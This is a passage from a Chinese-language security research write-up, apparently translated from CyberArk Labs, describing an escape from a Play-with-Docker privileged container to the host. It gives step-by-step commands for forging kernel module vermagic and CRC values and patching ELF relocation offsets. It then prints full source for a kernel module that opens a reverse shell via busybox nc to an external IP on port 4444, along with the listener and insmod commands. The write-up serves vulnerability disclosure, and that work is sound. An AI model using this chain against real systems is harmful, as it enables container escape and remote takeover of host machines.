(接上文)
第3步:编辑相关的字段以匹配目标内核。
我们需要替换vermagic(见第5行)和CRC(见第25-27行),使其匹配目标内核。
之后,我们就得到PWD的CEPH.KO模块。
为了从ceph.ko模块中提取内核版本和函数的CRC,可以运行modinfo命令:
$ modinfo ceph.ko filename: /root/cprojects/kernelmod/play-docker/ceph.ko license: GPL description: Ceph filesystem for Linux author: Patience Warnick <[email protected]> author: Yehuda Sadeh <[email protected]> author: Sage Weil <[email protected]> alias: fs-ceph srcversion: C985B22FADB19E9D06914CC depends: libceph,fscache intree: Y vermagic: 4.4.0-96-generic SMP mod_unload modversions signat: PKCS#7 signer: sig_key: sig_hashalgo: md4
记录vermagic字符串。请注意,它有一个尾随的空格,复制时,请不要忘了这一个空格。
生成的头文件需要用到3个CRC符号:
module_layout, printk and __fentry__.
为了找到这些CRC,需要对目标内核的ceph.ko模块运行modprobe命令:
# modprobe --dump-modversions ceph.ko | grep printk 0x27e1a049 printk # modprobe --dump-modversions ceph.ko | grep module_layout 0xfc5ded98 module_layout # modprobe --dump-modversions ceph.ko | grep __fentry 0xbdfb6dbb __fentry__
现在,请编辑probing.mod.c,修改vermagic字符串和CRC,使其变为:
#include <linux/module.h>
#include <linux/vermagic.h>
#include <linux/compiler.h>
    
MODULE_INFO(vermagic, "4.4.0-96-generic SMP mod_unload modversions ");
MODULE_INFO(name, KBUILD_MODNAME);
 
__visible struct module __this_module
__attribute__((section(".gnu.linkonce.this_module"))) = {
    .name = KBUILD_MODNAME,
    .init = init_module,
#ifdef CONFIG_MODULE_UNLOAD
    .exit = cleanup_module,
#endif
    .arch = MODULE_ARCH_INIT,
};
 
#ifdef RETPOLINE
MODULE_INFO(retpoline, "Y");
#endif
 
static const struct modversion_info ____versions[]
__used
__attribute__((section("__versions"))) = {
    { /*0x6cb06770*/ 0xfc5ded98, __VMLINUX_SYMBOL_STR(module_layout) },
    { 0x27e1a049, __VMLINUX_SYMBOL_STR(printk) },
    { 0xbdfb6dbb, __VMLINUX_SYMBOL_STR(__fentry__) },
};
 
static const char __module_depends[]
__used
__attribute__((section(".modinfo"))) =
"depends=";
 
MODULE_INFO(srcversion, "9757E367BD555B3C0F8A145");
请注意,printk和__fentry__的CRC并没有进行修改,这意味着它们对于本地内核和PWD内核具有相同的CRC。
第4步:修改init_module偏移量。
加载probing模块之前,需要完成的最后一步是修改其init_module可重定位偏移量。为此,需要检查PWD内核ceph.ko模块的ELF结构,以获得可重定位的init_module偏移量:
$ readelf -a ceph.ko | less
向下翻卷,直到找到如下行所示内容为止:
偏移量0x8F580处的重定位节“.rela.gnu.linkonce.this_module”中包含2个条目,具体如下所示:
Offset Info Type Sym. Value Sym. Name + Addend 000000000180 052900000001 R_X86_64_64 0000000000000000 init_module + 0 000000000338 04e700000001 R_X86_64_64 0000000000000000 cleanup_module + 0
注意,init_module的可重定位偏移量为0x180。
接下来,需要考察probing模块的init_module偏移量:
$ readelf -a probing.ko | less
向下翻卷,直到找到如下init_module所示内容为止:
在偏移量0x1bf18处的重定位节“.rela.gnu.linkonce.this_module”中包含2个条目,具体如下所示:
Offset Info Type Sym. Value Sym. Name + Addend 000000000178 002900000001 R_X86_64_64 0000000000000000 init_module + 0 000000000320 002700000001 R_X86_64_64 0000000000000000 cleanup_module + 0
从该输出结果来看,该probing模块的init_module可重定位偏移量似乎是0x178。我们需要对其进行修改,以便目标内核能够执行已安装模块的函数。
为此,我们需要在probing.ko文件的地址0x1BF18处将该偏移量改为0x180。
实际上,我们可以借助于chngelf工具来完成该任务:
$ chngelf probing.ko 0x1bf18 0x180
第5步:将“Probing”模块加载到目标内核。
对于这个probing模块来说,其下一个也是最后一个步骤是将probing.ko模块传输到PWD容器,并尝试将其加载到内核:
[node1] $ insmod probing.ko
如果加载成功,insmod将没有任何输出。
接下来,我们需要运行dmesg来转储内核消息:
$ dmesg [1921106.716039] docker_gwbridge: port 67(veth4eff938) entered forwarding state [1921107.452064] Loading probing module... [1921107.456852] CRC of call_UserModeHelper = 0xc5fdef94 [1921107.464297] CRC of printk = 0x27e1a049
大功告成了!这样,我们只要能在PWD内核中运行自己的代码,就能获得所需符号的CRC了。
第3阶段:创建反向shell模块
对于反向shell来说,我们需要使用内核函数call_usermodehelper(),它可以从内核空间中准备并执行用户空间中的应用程序。
我们这里将使用一个非常简单的模块:
/*
 * @file    NsEscape.c
 * @author  Nimrod Stoler, CyberArk Labs
 * @date    29 Oct 2018
 * @version 0.1
 * @brief   This loadable kernel module prepares a new device with
 *          the inode of mnt namespace, which allows a container to
 *          escape to the host by using enterns or setns()
*/
 
#include <linux/module.h>     /* Needed by all modules */
#include <linux/kernel.h>     /* Needed for KERN_INFO */
#include <linux/init.h>       /* Needed for the macros */
#include <linux/sched/signal.h>
#include <linux/nsproxy.h>
#include <linux/proc_ns.h>
 
///< The license type -- this affects runtime behavior
MODULE_LICENSE("GPL");
  
///< The author -- visible when you use modinfo
MODULE_AUTHOR("Nimrod Stoler");
  
///< The description -- see modinfo
MODULE_DESCRIPTION("NS Escape LKM");
  
///< The version of the module
MODULE_VERSION("0.1");
  
static int __init escape_start(void)
{
    int rc;
 
static char *envp[] = {
    "SHELL=/bin/bash",
    "HOME=/home/cyberark",
    "USER=cyberark",
    "PATH=/home/cyberark/bin:/home/cyberark/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/home/cyberark",
    "DISPLAY=:0",
    "PWD=/home/cyberark",
    NULL};
 
    char *argv[] = { "/bin/busybox", "nc", "54.87.128.209", "4444", "-e", "/bin/bash", NULL };
 
    rc = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
    printk("RC is: %i \n", rc);
 
     return 0;
}
 
static void __exit escape_end(void)
{
    printk(KERN_EMERG "Goodbye!\n");
}
  
module_init(escape_start);
module_exit(escape_end);
该模块会调用busybox程序包中的netcat工具,它应该已经根据C2服务器的IP和端口以反向shell模式安装到了主机的文件系统上。
接下来,我们为nsescape代码创建一个makefile文件,并进行编译:
obj-m = nsescape.o all: make -C /lib/modules/$(shell uname -r)/build/ M=$(PWD) modules clean: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
然后,执行下列命令:
$ make make -C /lib/modules/4.17.0-rc2/build/ M=/root/cprojects/kernelmod/nsescape modules make[1]: Entering directory '/root/debian/linux-4.17-rc2' Building modules, stage 2. MODPOST 1 modules read continue
当make进程停止后,编辑文件nsescape.mod.c,就像我们对probing模块所做的那样,修改vermagic和CRC:
#include <linux/module.h>
#include <linux/vermagic.h>
#include <linux/compiler.h>
 
MODULE_INFO(vermagic, "4.4.0-96-generic SMP mod_unload modversions ");
MODULE_INFO(name, KBUILD_MODNAME);
 
__visible struct module __this_module
__attribute__((section(".gnu.linkonce.this_module"))) = {
    .name = KBUILD_MODNAME,
    .init = init_module,
#ifdef CONFIG_MODULE_UNLOAD
    .exit = cleanup_module,
#endif
    .arch = MODULE_ARCH_INIT,
};
 
#ifdef RETPOLINE
MODULE_INFO(retpoline, "Y");
#endif
 
static const struct modversion_info ____versions[]
__used
__attribute__((section("__versions"))) = {
    { /*0x6cb06770*/ 0xfc5ded98, __VMLINUX_SYMBOL_STR(module_layout) },
    { 0xdb7305a1, __VMLINUX_SYMBOL_STR(__stack_chk_fail) },
    { 0x27e1a049, __VMLINUX_SYMBOL_STR(printk) },
    { /*0xa7eedcc4*/ 0xc5fdef94, __VMLINUX_SYMBOL_STR(call_usermodehelper) },
    { 0xbdfb6dbb, __VMLINUX_SYMBOL_STR(__fentry__) },
};
 
static const char __module_depends[]
__used
__attribute__((section(".modinfo"))) =
"depends=";
 
MODULE_INFO(srcversion, "E4B73EA24DFD56CAEDF8C67");
修改vermagic,使其匹配目标内核,同时,还要修改module_layout和call_usermodhelper符号的CRC,使其匹配运行probing模块时所获得的数字。不过,其他CRC(printk、__fentry__和__stack_chk_fail的CRC)在这两个内核之间貌似没有变化。
最后,使用chngelf工具将输出文件中的init_module可重定位偏移量从0x178改为0x180,就像处理probing模块时所做的那样。
在PWD主机上执行远程代码
现在,运行netcat,以准备好C2服务器:
nc –l 4444 -vvv
最后一步是将nsespace.ko文件传送到目标计算机,即Play–with-Docker容器上面,并执行如下所示的命令:
[node1] $ insmod nsescape.ko
这样,我们可以使用远程shell从PWD容器成功逃逸到主机了!(演示视频见原文)
结束语
要想从Linux容器获得主机访问权限,即使不是不可能的话,也是一项非常艰巨的任务。不过,在这个PWD示例中,情况好像并非如此。
其实,其中的原因很简单:由于PWD使用了具有特权的容器,所以,在修复该漏洞之前,很难为其提供相应的安全防护。
虽然从PWD容器逃逸到主机非常困难——但正如我们在本文中所展示的那样,这并不是不可能的。并且,Linux内核模块注入只是攻击者可以利用的途径之一。并且,其他攻击途径也是存在的,所以,在使用特权容器时,必须妥善加以处理。